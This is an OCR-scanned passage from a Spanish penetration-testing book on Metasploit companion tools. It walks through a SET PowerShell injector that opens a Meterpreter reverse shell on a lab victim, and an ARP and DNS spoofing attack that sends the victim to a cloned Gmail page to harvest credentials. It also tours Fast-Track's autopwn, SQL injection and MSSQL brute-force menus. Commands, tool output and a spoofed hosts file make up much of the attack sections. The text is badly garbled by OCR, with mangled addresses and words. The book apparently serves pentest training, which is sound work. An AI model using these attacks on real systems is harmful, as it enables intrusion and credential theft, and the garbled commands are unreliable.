Fig 6.30: Ment con fas posibitidades del vector de alaque de PowerShell

Algunos de los ms intercsantes son el de dumpeo del fichero SAM, la cual es la opcidn namero
cuatro, o ta shell inversa que proporciona una shell, creando previamente un listener en la méquina
del atacante. Este listener sera creado con el handier exploit/multi/handier por gjemplo.

PowerShell es la linea de comandos que viene por defecto en sistemas operativos Microsoft Windows
desde la version Visia. El alacante debe buscar el método o via para conseguir que la victima ejecute
dicho script.

PoC: Inyeccién de Meterpreter a través de PowerShell

En este escenario se proponen dos vias de explotacion. La primera via es que el atacante dispone de
acceso fisico a la maquina en la que se quiere realizar la explotacién, y posee un script encodeado
con el que, tras ejecutar una PowerShell se realizard la subida de un Meierpreter a la maquina
victima. La segunda via propuesta es que el atacante engafie a la viclima, mediante ingenieria social,
para que ejecute el scripf. ‘

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell

3) Powershell Bind Shell

4) Powershell Dump SAM Database

98) Return to Main Menu

set:powersheil>l

set> IP address for the payload listener: 182.168.1.38

I} Prepping the payload for delivery and injecting alphanumeric shellcode...
Enter the port number for the reverse [443]: 4444

¥} Generating x64-based powershell injection code.,.

{*} Generating x86-based powershell injection code...

I*| Finished generating powershell injection attack and is encoded to bypass exe
cution restriction... . .
sel> Do you want to start the listener now {yes/no}: : yes
set:povershells Select x86 or x64 victim machine [default: x64]:

Fig 6.31: Generacion del scripf para la inyeccion en sistemas Windows

En primer lugar se utilizard la opcion nimero uno de este vector de atague denominada “PowerShell
Alphanumeric Shellcode Injector”. Se puede generar para sistemas de 32 0 64 bits. Al finalizar este
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proceso se crea un archive TXT en la ruta Ipentest/exploits/set/reports, el .codigo generado en &
fichero es el que se debe ejecutar en la méquina victima. Se puede convertir este TXT en un seripf ¢
directamente copiar el codigo en una PowerShell y ejecutarlo.

Una vez que se ejecute el scripf en la maquina victima, el handler que se configura automaticamene
recibird lasesion de Meterpreter otorgando el control de la maquina remota al atacante. Bn este punto
se podrian utilizar todas las opciones estudiadas en el capitulo de Meterpreter y post-explotacion.

msf exploit({handler) »

[*] Started reverse handler on 8.6.0.5:4444

{*] Starting the payload handler...

{+#] sending stage (951296 bytes) to 192.168.1.37

[*] Meterpreter session 1 opened (192,168.1.38:4444 -» 192,168.1.37:49299) at 2012-09-22 15:69:5
2 -8480 .

msf exploit(handler) > sessions -i

Active sessions

Id Type . Information ) Connection

1 meterpreter x64/win64 pablo-vm\pablo @ PABLO-VH 192.168.1.38:4444 -> 192.168.1.37:49293
(192.168.1.37)

st exploit(handler) > ' ]

Fig 6.32 Recepcion de la sesion de Meterpreter tras In ejecucion del seript de PowerShelt

Actualmente este método es uno de los més favorables para evitar a los sistemas antivirus, debido a
que el codigo va encodeado y es unavia muy novedosa. En la imagen s¢ puede visualizar el aspecto
que tiene el script generado y los pardmetros necesarios, los cuales son generados también por SET,
para su ejecucion.
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13. PoC: El mundo del spoofing y SET

En esta prueba de concepto se presenta un escenario, ficilmente reproducible en cualquier empresa,
en un dmbito de red de 4rea local. El ataque consiste en el uso de técnicas como ARP spoofing vy
DNS spoofing para controlar, tanto el trafico de la victiina como los sitios web a los que ésta accede.
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El escenario estd compuesto por las signientes maquinas y toles;

- Enprimer lugar, e! atacante dispone de una BackTrack 5 con la que ejecutard la aplicacién
arpspoof para realizar un ataque Man In The Middle a 1a victima.

- Bl usvario victima, el cual se encuentra en la misma red local que ei atacante, utiliza una
maquina Windows 7. '

Como se ha mencionado anteriormente, primero hay que conseguir que la victima crea que el router
es el atacante, es decir, cuando realice peticiones a Internet, éstas se envien primero a la maquina
del atacante, Para lograr esto se utiliza la herramienta arpspoof con la que se consigue envenenar la
tabla ARP de la méquina victima.

La sintaxis de arpspoof es sencilla, se debe indicar la interfaz por la que se enviaron los arp reply y
los farget. Un ejemplo es arpspoof—i etht) —t <mdquina victima> <router>, puede interesar obtener
un envenenamiento doble ejecutando en otra shell la instruccion arpspoof i eth® —1 <router>
<mdquina victima>.

root@bt:~# arpspoof -1 ethd -t 192.168.1.37 192.168.1.1
8:0:27:d5:8¢:35 8:8:27:1d:be:5a 8886 42; arp reply 192.168.1.1 is-at 8:6:27:d5:
8:9:27:d5:8¢:35 8:0:27:1d:be:5a 0886 42: arp reply 192.168.1.1 is-at 8:0:27:d5:
:27:d5:8¢:35 8:0:27:1d:be:5a 8806 42: arp reply 192.168.1.1 is-at B8:0:27:d5:8¢:35
:27:d5:8¢:35 8:0:27:1d:be:5a 0886 42: arp reply 192.168.1.1 is-at 8:0:27:d5:
9:27:d5:8¢:35 8:0:27:1d:be:5a 0806 42: arp reply 192.168.1.1 is-at 8:0:27:d

Fig 6.34: Envenenamiento de 12 maquina victina

8:
8
8: :d5:8¢:35

No hay que olvidar que para que una méquina Linux trabaje como enrutador se debe modificar el
fichero fproc/sysiet/ipvd/ip_jorward, cambiando su valor de 0 a 1. De este modo se consi gue que el
trifico que no es dirigido a la miquina del atacante se enrute hacia el exterior, En este instante todo
el trdfico generado por la victima pasa por la maquina def atacante, por eiemplo si se abre Wireshark
u otro analizador de tréfico se podria visualizar este hecho, e incluso obtener informacién sensible,
como pedrian ser las credenciales de un login.,

La victima quiere unas credenciales en concreto, para ello se requiere controlar las paginas web
y veracidad de éstas que la victima visita. Se utitizard la téenica dz DNS Spoofing para conseguir
que cuando, por ejemple la victima intenle entrar en Gmail, ia direccion TP que se le enlregue sea
rcalmente la de la maquina del atacante,

Para esta técnica se utiliza la herramienta dnsspoof, la cual necesita de un archivo donde se
especifique la direccién [P que se otorgard a la victima cuando pregunte por un dominio concreto.
Lo primero que se debe crear es un archivo, similar al tipico hosts:

#Dirececidén IP Dominio solicitado

192.168.1.40 gmail.com

192.168.1.490 informaticaé4d. com

192.168.1.40 flu-project.com

En el fichero anterior, el cual en el ejemplo se denominaré hosts, se especifica una lista con dos
campos. Bl primer campo indica la direccion IP que se entregard a la victima cuando pregunte por el
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. i
dominio que se encuentra en ef campo de {a derecha. Para arrancar 1a herramienta dnsspoof'se debe
ejecutar la siguiente instruccion dnsspoof'~i eth0 —f <ruta fichero creado>. ‘

rooi@ht: /pentest/exploits/set# cd -
‘root@ht:~# pand hosts

root@bt:~# dosspoof -1 ethd -f hosts
gnsspoof: listening on eth® [udp dst port 53 and not src 192.168.1.48]

Fig 6.35: Ejecucién de dnsspoof en la maquina del atacante

Ahora hay que esperar que la méquina victima realice una peticién DNS preguntando por la,
direccion gmail.com. Cuando esto suceda la peticion legard antes a la maquina del atacante,
gracias al envenenamiento ARP. La herramienta dsnspoof'se encargara de falsear la respuesta con la.
informacién que se ha detallado en el fichero de texto, en la imagen el fichero hosts.

Por tiltimo, el atacante configura en su méquina, con ayuda de SET, una pagina web clonada del sitio’
gmail.com. De este modo, cuando la victima pregunte a su DNS por la direccién P de gmail.com,
dicha peticion sera interceptada y falseada, proporcionando una diveccion IP falsa. El navegador de
la victima realizard una conexion realmente con la maquina del atacante, donde se enconirard una
pagina web clonada de Gmail. Cuando la victima inserte credenciales, éstas seran capturadas por.
SET. '

En SET se elegird la opcién “Website Attack Vectors” con la que se creard el sitio web falso. Al
utilizar la opcion “Credential Harvester Attack Method” se recolectaran las credenciales que la
victima introduzea en dicho sitio web, Ademas, no se utilizara la plantilla de Gmail ya que se
encuentra desactualizada, se elegird la opcion de clonacién de sitio. Tras clonar el sitio web de
Umail, ya se tiene preparado el sitio web falso. ‘ :

Cuando la victima introduzea en su navegador el dominio gmail.com realmente estard accediendo a
la pagina web que ofrece la maquina atacante. Como se puede observar el sitio web es una clonacién
casi perfecta del sitio web original. La victima introducir sus credenciales y serd reenviada al sitio
web real, por lo que no'se levantard gran sospecha sobre dicha accidn.

Gmail
A Google wporoach lo emiil,

ez it o the Ko thal ema can - ors hilulve, offciont, and usoh] And magbe aven fu Al
otz e

1 ols of spare
w1 2767 22164 mionabytes {and countiog] of rse stormga,

Less spam
Kecs urwantod messages out of yaur nhox.

Mubile actess l, ». Coiknceeas your cesunt?

el Guvall s your mobio phone, Liain mose [ SR,

Abot Gmal Newfesturasl  Swhehio Gmal  Croate an account

Fig 6.36: Navegador de la victima accediendo al sitio web falso
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Por iiltimo, hay que recalcar lo que mostrd la herramienta dnsspoof cuando modificé las peticiones
realizadas para resolver el nombre de dominio gmail.com. En fa imagen se puede visualizar como se
spoofea Ia peticion. También cabe destacar que si la maquina victima hubiese cacheado la resolucién
de gmail.com el ataque no tendria éxito, pero generalmente, en algiin momento esa caché se vacia,
ya sea porque la maquina se apaga, o porque ha pasado una cantidad de tiempo considerable.

root@ht:~# nano hosts

root@ht:~# dnsspoef -i eth® -f hosts

dnsspoof: listening on ethe [udp dst port 53 and not src¢ 192.168.1.40)
192,168.1.37.56003 > 80.58.61.254.53: 45733+ A? gmail.com
162.168.1.37.65375 > 80.58.61.254.53: 25843+ A? gmail.com
192.168.1.37.52060 > B80.58.61.254.53: 58934+ A? gmail.com

Fig 6.37: Modificaciones de dnsspogfa las peliciones DNS originales

Capitulo VII. Mds alla con Fast-Track

Capitulo VII
Mas alla con Fast-Track

1. ;Qué es y para qué sirve?

A estas alturas del Tibro se debe comprender que la automatizacion en un lest de intrusion ayuda,
y mucho, a realizar la parte procedimental de éste. Con esta idea aparecié Fast-Track, wn seript de
Python, el cual permite al usuario configurar de manera seacilia distinlos tipos de alaque que pueden
vesullar complejos. Fust-Track utiliza a Metasploit framework para ta adicién de caracteristicas,
entre las que se encuentran inyec:ciones SQL, ataques mediante el uso de exploits o ataques de lipo
client-side. ' '

'

Fast-Track dispone de dislintos métodos de interaccion con la herramienta:
- El modo interactivo.
- El modo de linea de comandos. v

- Elmodo web.

£l modo de linea de comandos es parecido a la interfaz de Metasploit msfeli. Por otro lado, ¢l modo
web permite obtener un entorno grafico, a través de la utilizacidn de una interfaz intuitiva y sencilla.

El objetivo de Fast-Track es el de facilitar la interaccion del usuario con el framework de Metasploit,
Hay que diferenciar, que Fast-Track tiene un fin similar al que proporcionaba SET en la ingenieria
social y el uso de Merasploit para obtener privilegios. En algunas ocasiones, muchos usuarios
definen a SET y Fast-Track como sistemas independientes, pero en realidad, el fin de estos es
ulilizar una interfaz que gestione los recursos que ofrece Mefasploit de manera sencilla e intuitiva
para aprovecharlos en una rama concreta de la seguridad informatica.

2. Fast-Track y sus posibles ejecuciones

Como se ha mencionado anteriormente Fast-Track proporciona distintas vias para la interaccidn con
éste. Este hecho proporciona comodidad al usuario para poder elegir la via con la,que se cncuentre
mas cémodo trabajando. ' ‘

t
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Hs realmente interesante conocer estas vias de interaccion cen la herramienta, ya que, ademds de
la comodidad que proporcionan, proponen mayor automatizacion y vias para cargar un entorno o
vector de ataque de manera mas rapida de lo habitual,

Durante el desarrollo de este capitulo se utilizard una distribucién de GNU/Linux como es BackTrack
5 R3. Esta distribuctén proporciona la herramienta Fast-Track en la ruta /pentest/exploits/fastirack.

L.a linea de comandos vueive a ser fundamental en este tipo de herramientas, pero la interfaz prafica
mediante el uso de un servidor web proporciona aire fresco y facilidad de aprendizaje para ef usuario
de Fast-Track.

root@ht: /pentest/exploiis/fasttrack# python fast-track.py

Fast-Track - A new beginning...
Automated Penetration Testing
Written by David Kennedy (RellK)

Please read the README and LICENSE before using
this toel for acceptable use and modifications.

Interactive Menu Oriven Mode: -1
Command Line Mode: -c
yeb GUT Mode -g

Examples: ./fast-track.py -i
./fast-track.py -c
JJtast-track.py -g
ffast-track.py -g <poertnume

Usage: ./fast-track.py <mode>

Fig 7.01: Modos de ejecucion de Fasi-Track.

Fast-Track interactive

tiste modo es ¢l mas conocido por todos los usuarios de Metasploit y Fast-Track. Proporciona vn
ment similar al de SET con el que el usuario sdlo debe ir navegando a través de distintos mends.
Esta opcidn proporciona facilidad de uso para usuarios no expertos en ¢l uso de Metasploifl en su
modo msfconsole, ya que proporciona ciertos ataques conocidos que se pueden ir configurando de
manera trivial a través de los distintos mends.

Para ejecutar Fast-Track con este modo se debe lanzar la siguiente instruccion pythor <ruta fast-
track.py> -i, es decir, se debe indicar el pardmetro J.

Capitule V11 Mds alld con Fast-Track

*******#*************w‘:*******'#******#’************************?**‘*

¥ *$
**  Fast-Track - A new beginning... o
** Version: 4.8.2 **
** Written by: David Kennedy (ReLlK) *E
**  Lead Developer: Joey Furr {jafer) ## k
¥ hitp://www.secmaniac. com ks
4k £ 1]
T T T TR Lr AR A EATET TS ELT T Y

Fast-Track Main Menu:

Fast-Track Updates
Autopwn Automation
Nmap Scripting Engine
Microsoft SOL Tools
Mass Client-Side Attack
Exploits
Binary te Hex Payload Converter
Payload Geperator
Fast-Track Tutorials

. Fast-Track Changelog

Fagt-Track Credits

. Exit Fast-Track

B (B e

bt bt pd D OO i Y LB

NS = D

Enter the number:

Fig 7.02: Lanzamiento de Fast-Track en mode interactivo.

Como se ha menciouado y como se puede visualizar en Ia imagen, Fast-Track en modo inferactive
proporciona ments. Estas opciones se pueden agrupar por tematicas, las cuales se enuncian a
continuacion: '
- Tutoriales. El propio entorno de Fast-Track proporciona tutoriales para que el usuario
pueda utilizar la herramienta de manera sencilla.

- Actualizacién del entorno. Se puede ejecutar la actualizacién de Fast-Track de manera
automatizada, con lo que se consigue mantener actualizado el entorno de una manera sencilla.

- Herramientas para manipulacién y gestion de payloads. Se dispone de la posibilidad de
utilizar Fast-Track para generar payloads, e inchuiso poder convertir los payload de binario
a hexadecimal.

- Ataques SQL. Las inyecciones SQL despiertan cierta admiracion en el mundo de la
seguridad informatica, y Fast-Track proporciona mecanismos para automatizar el proceso de
atagues a las bases de datos SQL.

- EBjecucién de Nmap mediante scripting. Los scripts de Nmap ayudan a delectar
vulnerabilidades a través de escaneos con esta herramienta. Estos scripts aportan funcionalidad
extra a una de las herramientas de fingerprint més famosas en el mundo de la seguridad
informatica.



m Metasploit para Pentesters

- Automatizacién con aufopwn. Como se ha estudiado en este libro autopwn proporciona
técnicas para automatizar el proceso de exploiting en sistemas, Fas(-Track permite antomatizar
el proceso de configuracion de autopwn.

- Posibilidad de automatizar la preparacion de un atague masivo con 1a técnica Client-Side.
[sta técnica se ha observado en el libro en numerosas ocasiones, colocando el peso del ataque
en la parte del cliente. Bl ataque se realizard, cominmente, sobre el navegador del usuario, y
sc necesita que éste realice alguna accion.

- Exploits. Se ofrece un listado de exploits que pueden ser lanzados sobre un objetivo. El
proceso de gjecucion de estos exploils €s totalmente guiado por Fusi-Track.

Fast-Track linea de comandos .
La linea de comandos que proporciona Fast-Track es una de las mas curiosas maneras de inleractuar

con la herramienta. Para ejecutar este modo se debe lanzar la siguiente instruccion python <ruld
fusi-track.py> -c, donde ¢ es el pardmelio que indica el modo command line.

Como se puede visualizar en la imagen la ejecucion de Fasi-Track con el pardmetro ¢ proporciena
una salida en la que se puede observar el mend principal, el cua se visualizaba con el modo
interactivo comentado anteriormente.

La forma de interactuar con Fasi-Track en este modo es realmente curioso, se debe indicar en la
misma instruccion el nimero de la opcion que se quiere seleccionar, por ejemplo, si el usuario sabe
que quiere ejecutar la opcion de exploits, la cual es la opcion nimero scis, se deberia ejecutar python
<ruta fast-track.py> -c 6. Como se puede visualizar en la imagen, se auto ejecuta la opcion 6, la cual
proporciona un nUevo mend. ‘

Payloads:

. Meterpreter Reverse TCP Shell

. Generic Bind Shell

. Meterpreter Reverse VNC Inject {6uI)
. Reverse TCP Shell

L D e

Also, I added an ettercap optien, if you have ettercap installed then ?pe§ify a
1 flag at the end of the usage to use ettercap and poison a specific victim.

. 1

Examples: ./fast-track.py -¢ 6 127.6.8 11
168.1.34 2 1

./fast-track.py -¢ 6 192.16

usage: ./fast-track.py -c & <ipaddr> (your main ip addy, i.e. eth8) <payload> <1 for ettercap, e
ise dont specify>
I

specify your payload:

1. windows Meterpreter Reverse Meterpreter

2. Generic Bind Shell

3. Windows VNC Inject Reverse TCP (aka *Da Gui”)
4. Reverse TCP Shell

Enter the number of the payload you want:
Fig 7.03: Ejecucion de Fast-Track modo consola.
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Para ejecutar el nuevo menil que se puede observar, se debera ejecutar la instruccidn python <rufu
Jasi-track py> -¢ 6 1, si se quiere configurar el exploif niimero uno. Se obtendrd un nuevo didlogo,
al cual se debe contestar mediante el uso de la linea de comandos. Es por esla razon, que se req uiere
especificar toda la configuracion a través de una instruccion de linea de comandos.

iBsto es realmente Gtil? La respuesta es si. Se puede utilizar en el uso de scripis realizados por el
propio usuario, por ejemplo, para configurar la propia automatizacion de un proceso de seguridad
concreto donde se pueden utilizar distintas vias que proporciona Fast-Track,

Fast-Track via web ‘

Con este modo de interaccion se utiliza el navegador web mediante una interfaz gréafica amistosa
para presentar Fasf-Track més cercano al usuario. Se ejecuta un servidor web que presenta un sitio
web por el que se puede inieractuar con el mismo mend que se presentaba en el modo interactivo.

Para ejecutar y configurar el medo web se puede lanzar la siguiente instruccion python <ruta fusi-
trackpy> -g. También se puede utilizar la instruccion python <ruta fust-trackpy> -g <puerfo>. i
no se indica el puerto, por defecto se ejecutara sobre el 44444,

*2RPR PN YTIIIYIN]

wexvex performing dependency chacks... wkwxasd

RAZ2 2]

6 FreeTDS and PYMMSOL are installed. (Check] *
s« PEypect is installed. (Check) *** '

*#% ClientForm is installed. (Check) »**

+++ Beautiful Soup is installed. {Check) #**

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

ey .

Fast-Track Web GUI Front-End
Written by: David Kennedy (Rel1K}

Starting HTTP Server on 127.8.8.1 port 44444

+++ Open a brawser and go to hitp://127.8.0.1:44444 **¥

Type <control>-¢ to exit..

Fig 7.04: Configuracién del sitio web para interactuar con Fust-Track.

Una vez que se lanza el servidor se puede acceder a él a través de la direccion hilp://127.0.0.1:44444.
Como se puede visualizar en la imagen el aspecto que ofrece este modo de inleraccion es bastante
mas agradable e intuitivo que Ja linea de comandos. La presentacion gralica de Fast-Track ayuda al
usuario, ya que presenta en la parte izquierda el men( que se puede observar en el modo interactivo.
El uso de los clics de ratén para navegar por Fast-Track amenizan el uso de la herramienta y
proporciona ventajas adicionales, como por ejemplo que el uso de los Lutoriales se pueda leer de
manera mas clara.
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Fast-Track Main

Fast-Track Main Page

Walcame to Fast-Track version 4, this version is-prmarlly focysed on the web Intaring
documentation, sxploil rewrltes inta Fast-Track. A tol 1as changed, be sure lo chick U
Microsoft 8QL. Toots for the tatest and updates. betow will be ing tasks sched
Mass Client-Side Altack next release or milestories for nsw versions,

-

Fasi-Track Updales

~

Aulopwn Authmtion

-

-

Exploits

v

Binary to Hox Payload Converter

~

Pavloud Generator

~

Fast-Track Tuloriats

v

Fast-Track Changelog

Fast-Track Credits

3. Tutoriales en Fast-Track

Los tutoriales que ofrece Fast-Track a través de cualquier modo de interaccién con la herramienta
proporcionan una aynda muy interesante al usuario. En este apartado se utilizara el modo interactivo
para ejemplificar ei proceso de consulta de los tutoriales de la herramienta.

Fast-Track Main Menu:

Fast-Track Updates
Autopwn Automation

Nmap Scripting Engine
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator

. Fast-Track Tutorials
18. Fast-Track Changelog
11, Fast~Track Credits

12. Exit Fast-Track

D0~ CH LD AW R e

Enter the number: 9

Fig 7.06: Eleccion de la opcién de tutoriales.

Capitulo VII. Mds alld con Fast-Traci ' m

En el mend principal de Fast-Track se puede observar unz opcién denominada “Fast-Track
Tutorials”. Esta opcién presenta una nueva pantalla en fa que se puede escoger el tutorial requeridg
por el usuario, diferenciado por tematicas. ’

Fast-Track Tutorials Menu:

General Functionality and Movement in Fast-Track
How to update Fast-Track
MetasSploit AutoPwn
5QL 1433 Hacking
SQL Injection HOWTO
FTP Brute Forcer
Spawning a Shell
Exploits
Mass Client-Side Attacks
. Binary to Hex Paylcad Generator

TR B RS e

[~
@ - e

{q)uit

Enter number;

Fig 7.07: Tutoriales disponibles en Fast-Truck,

Cuando el usuario selecciona una temtica, ésta puede contener distintos tutoriales en relacién a las
distintas funcionalidades que el tutorial ofrece. Todo es realmente sencillo de manejar y seleccionar
ya que los diferentes mentis ayudan en la navegacion por la distinta ayuda ofrecida por la herramienta.

£n el siguiente ejemplo se ha elegido la opcién niimero cuatro, obteniendo la ayuda relacionada con

la funcionalidad seleccionada. En Fast-Track se ha intentado dotar de la méxima ayuda posible con
el mayor grado de detaile.

L3t * %
SQL X433 Hacking: Requirements: PYMSSQL, FreeTos
AAVEY **

Alright, ltets first start off with those of you that are unfamilar with
hacking port 1433. 1433 is Microsoft's default port installtion fer
MSSOL. This goes fer any version of 5QL, by default it installs on 1433
and is used for primary means of community for SQL Servers. If a website
uses a back-end database to store information, the web server actually
taiks back to the SQL server via port 1433,

The way Fast-Track attacks this specific port is through a “brute force*
attuck, or attempting to guess the initial password. when first installing
0 SQL server, the administrator is asked iLf they would like to use
Integrated Windows Authentication, use SQL Authentication, or use Mixed
Mode {a combination of both), Generally web applications are easy to use
SQL muthentication then mixed or integrated.

Fig 7.08: Ayuda sobre una herramienta completa.

4. Configuracion de Fast-Track

Fast-Track dispone de un fichero de configuracion en la ruta /pentes//exploits/fasltrac/c/conﬁg
denominado fastirack_config. Este fichero es similar al estudiado en el capitulo de SET, es decir,
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dispone de variables a las cuales se les asigna un valor. Estos valores son leidos por Fast-Track en
el instante que arranca la aplicacion, adquiriendo la informacion que proporcionan las variables del
fichero.

Por defecto, el fichero de configuracion no Liene un peso o tamafio parecido al de SET, ya que en
el fichero de configuracion se puede encontrar poca informacién en comparacion con el archivo
de SET. £n la imagen se puede visualizar como, por defecto en la version R3 de la distribucion
BackTrack 5, simplemene se encuenira la variable donde se almacena Metasploir.

root@bt: pentest/axploits/ fasttrack/configh cat fasttrack_config
iy ¥ .

R R R R R R R 1540 )

23 B3 B 48 3 i g

BB R ER

#

# FAST-TRACK CORFIGURATION FILE, THIS IS VERY BETA AND WILL BE ADDED UPON AS THE NEED GROWS, THJ
S WAS TO MIMIC

# THE CONFIG FILE SIMILAR TO THE SOCIAL-ENGINEER-TOOLKIT (SET).

#

IR RR IR R R R R
BB BRI R Y

#

# CONFIG THE METASPOIT PATH HERE AND CHANGE IT TO WHATEVER YOU WANT
HETASPLOIT_PATH=/pentest/exploits/framework/

S48 PSS 2 S B AL S0 0000 B I SR U 45 4 B B I S ey

root@ht: /pentest/exploits/fasttrack/configh

Fig 7.09: Fichero de configuracion de Fast-Track.

Existe otro fichero de configuracion en la siguienle ruta /pentest/exploits/fastirack/bin/config
denominado config. Este fichero dispone de variables que cargard Fast-Track en su arranque para
situar o mapear ciertos componentes que utilizard la herramienta o cargar algunos valores para el
comportamiento de la propia aplicacion.

5. Funcionalidades

La herramienta proporciona gran diversidad de funcionalidades como se ha podido observar en
apartados anteriores. La riqueza que ofrece Fast-Track reside en la versatilidad, sencillez y
automatizacién que proporciona al usuario.

En este apartado se presentan las distintas funcionalidades con mayor detalle. Hs importante
observar que algunas de ellas se han implementado en este libro de manera “artesanal”, es decit,
manualmente. Ef principal objetivo de Fast-Track es conseguir que cualquier accion, que se puede
realizar con la herramienta, quede configurada en un tiempo inferior a los res minutos, tal y como
expone su eslogan.

Autopwn Automation
Autopwn también estd disponible en Fast-Track. El ataque conocido como “metrallela” permite
vealizar un ataque con gran cantidad de exploits en funcién de varias caracteristicas, como por

Capitulo VIl Mds allé con Fast-Track

ejemplo, la versién de un servicio que se ejecuta en la méaquina remota, un sisterna opetativo
concteto, etcétera.

Esta fancionalidad permite realizar la técnica autopwn de manera rapida y sencilla, sin necesidad
de manipular Metasploit. Ademds, permite ejecutar “comandos” de Nmap, como si se estuvicia en
Ig (}1}ea de comandos de éste. La ayuda que se ofrece por pantalla acerca de la herramienta aporta
facilidad para saber el formato de las entradas.

Fast-Track Main Menu:

Fast-Track Updates
Autopwn Automation

Hmap Scripting Engine
Hicrosoft SQL Tools
Mass Client-Side Attack
£xploits

Binary to Hex Payload Converter
Payload Generator

9. Fast-Track Tutorials
10. Fast-Track Changelog
11. Fast-Track Credits

12, Exit Fast-Track

DD D W N e

Enter the number: 2

Fig 7.10: Eleccion de dutopwn Automation.

This tool specifically piggy backs some commands from the Metasploit
framgwork and does not modify. the Metasploit Framework in any way. This

is simply to automate some tasks from the autopwn feature already developed
by the Metasploit crew.

Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254

or 192.168.1.1/24 or whatever you want and it'1l run against those hosts.
Additionally you can place NMAP commands within the autopwn ip:rénges bar,
for example, if you want to scan even if a host “appears down* just de
-PH 192.168.1.1-254 or whatever...you can use all NMap syntaxes in the
Autopwn IP Ranges portion. !

when it has completed exploiting simply type this:

sessions -1 {lists the shells spawned)
sessions -1 <id> {jumps you into the sessions)

Example 1: -PN 192.168.1.1
Example 2: 192.168.1.1-254
Example 3: -P8 -v -A 192.168.1.1
Example 4: 192.168.1.1/24

Enter the IP ranges to autopwn or (q)uit FastTrack:

Fig 7.11: Ejecucion de orden en mmap.

En este pequefio ejemplo sc utilizard un escaneo estindar sobre la direccion 1P 192.168.0.66, en la
que se encuentra un equipo cliente con sistema operativo Microsaft Windows XP S3. Cabe destacar
que se puede ejecutar un escaneo sobre un rango o con otros valores que no sean los de por delecto,
para mayor detalle se puede consultar el apartado de Nmap en el capitulo 2.

Una vez configurado sobre qué maquinas o qué méquina se realizara el escaneo se debe configurar
el modo de conexién entre el exploit que produzca la explotacién y el atacante. En este ejemplo se
configura el modo inverso.
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Do you want to do a bind or reverse payload?

Bind = direct conrection to the server
Reverse = connpection originates from server

1. Bind
2. Reverse

Enter number: 2

Fig 7.12: Bleccion del métado de conexion cuando se explote una maquina mediante anfopwn,

Tias realizar dicha accion se creard una base de datos y se auto configurard Merasploit. Si se obluviese
el control de una méaquina se dispondria de una sesién inversa. En este caso se puede:observar que
no se tiene que configurar ninguna accion en la base de datos ni en Metasploit, lo cual ayuda a los
usuarios con menos destreza en el uso del framework. Bl payload que se introduce en la méquina
remota serd uno de tipo Meterpreter. '

Nmap Scripting Engine
Nmap dispone de una funcionalidad que aporta gran riqueza y flexibilidad a la herramicnta
denominada Nmap Scripting Engine. Con dicha funcionalidad el usuario puede crear sus scripts

para ser ejecutados por Nimap o utilizar los miles de scripts que existen de Nmap que aportan nuevas

e interesantes funcionalidades.

Fast-Track dispone, en su opcion tres del mend principal, de la posibilidad de utilizar scripis
relacionados con el protocolo SMB. Algunas de las funcionalidades extra que se pueden oblener con
la ejecucion de estos scripls, y que incluso la propia herramienta Nmap ha incluido en sus dltimas
versiones son las siguientes:

- Descubrimiento de red. .
- Deweccion de servicios y versiones mejorada.
- Explotacion y deteccion de vulnerabilidades.

- Averiguar y corroborar la existencia de malware.

Microsoft SQL Tools

Eista funcionalidad proporciona distintas herramientas para realizar acciones como inyecciones SQL,
procesos de foerza bruta sobre servidores de bases de datos, etcétera. Esta s una de las partes que
mis puede interesar a algunos auditores ya que, aunque ya son muy conocidas, las vulnerabilidades
SQL copan los primeros puestos en vulnerabilidades a nivel mundial.

La herramienta MSSQL Injector permite al usuario realizar inyecciones mediante distintos métodos.
En general, se debe especificar el pirdmetro que contenga la  vulnerabilidad SQL. Se puede
visualizar como en algunos métodos se debe utilizar la palabra ‘INJECTHERE para especificar
donde la herramienta debe realizar la inyeccion. Un ejemplo serfa Atip:/sitioVulnerable.com!
recurso.aspx?id="INJECTHERE. "

Capltulo VII. bds alld con Fast-Track ' ' . _m

Enter which SQL Injecter you want to use:

1. SQL Injector - Query String Parameter Attack

2. SQL Injector - POST Paromeler Attack

3. SQL Injecter - GET FTP Payload Attack

4. SOL Injector - GET Manual Setup Binary Payload Attack

(g)uit

Enter your choice:

Fig 7.13: Ment de SOL Injector:

La herramienta MSSQUL Bruter proporciona una aplicacion para realizar fuerza bruta sobre un SQL
Server. También se puede utilizar como herramienta de escaneo para tealizar fingerprinting de la
maquina remota buscando puertos abiertos para la base de datos, visibilidad con la méquina, etcétera.

Futer the IP Address snd Port Number to Attack.

Options:- {a)ttempt SQU Ping and Auto Quick Brute Force
{m)ass scan and dictionary brute
(s}ingle Target (Attack a Single Target with big dictionary)
{f}ind SQL Ports (SqL Ping)
(1) want a command prompt and know which system is vulnerable
(viulnerable system, I want to add a local admin on the box...
{riaw QL commands to the SQL Srrver
(e)nable xp_cmdshell if its disabled {sqi2k and sqlzks)
{h)ost list file of IP addresses you want to attack

(q)uit

Enter Option:

Fig 7.14: Ment: de SQL Bruter,

La Gltima herramienta sobre inyecciones SQL fa proporciona SQLPwnage, con esta herramienta
s¢ puede especificar un sitio web y mediante un proceso de crawling se obtiene un mapa con las.
variables y péginas del sitio. De este modo se puede realizar un ataque de inyeccion SQL a través
de este descubrimiento,

SQLPvnage is a mass pwnage tool custom coded for Fast-Track. SQL.Pwnage will attempt

to identify SQL Injection in a website, scan subnet ranges for web servers, crawl entire
sites, tuzz form parameters and attempt to gain you remote access to a system. We use
unigque attacks never performed before in order to bypass the 64kb debug restrictions

on remote Windows systems and deploy our large payloads without restrictions.

This is a1l done without a stager to download remote files, the only egress connections
made are our final payload. Right now SQLPwnage supports three payloads, a reverse
tep shell, metasploit reverse tcp meterpreter, and metasplolt reverse wnc inject.

some additional features are, elevation to *sa* role if not added, data execution prevention
{DEP) disabling, anti-virus bypassing, and much more!

This tool is the only one of its kind, and is currently still in beta.
SQLPwnage Main Menu:
1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND)

2. 50L Injection Search/Exploit by Binary Payload Injection {(ERROR BASED)
3. SQL Tnjection single URL exploitation

Fig 7.15: Menit de SQLPwnage.
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Mass Client-Side Attack

Esta funcionalidad proporciona al usuario la posibilidad de utilizar un servidor web que cargue
distintos exploits y que éstos sean lanzados cuando una victima potencial se conecte al servidor web.
Esta funcionalidad es equivalente a la iéenica browser autopwn, la cual se utilizaba en este tibro para
la distribucion de malware en internet.

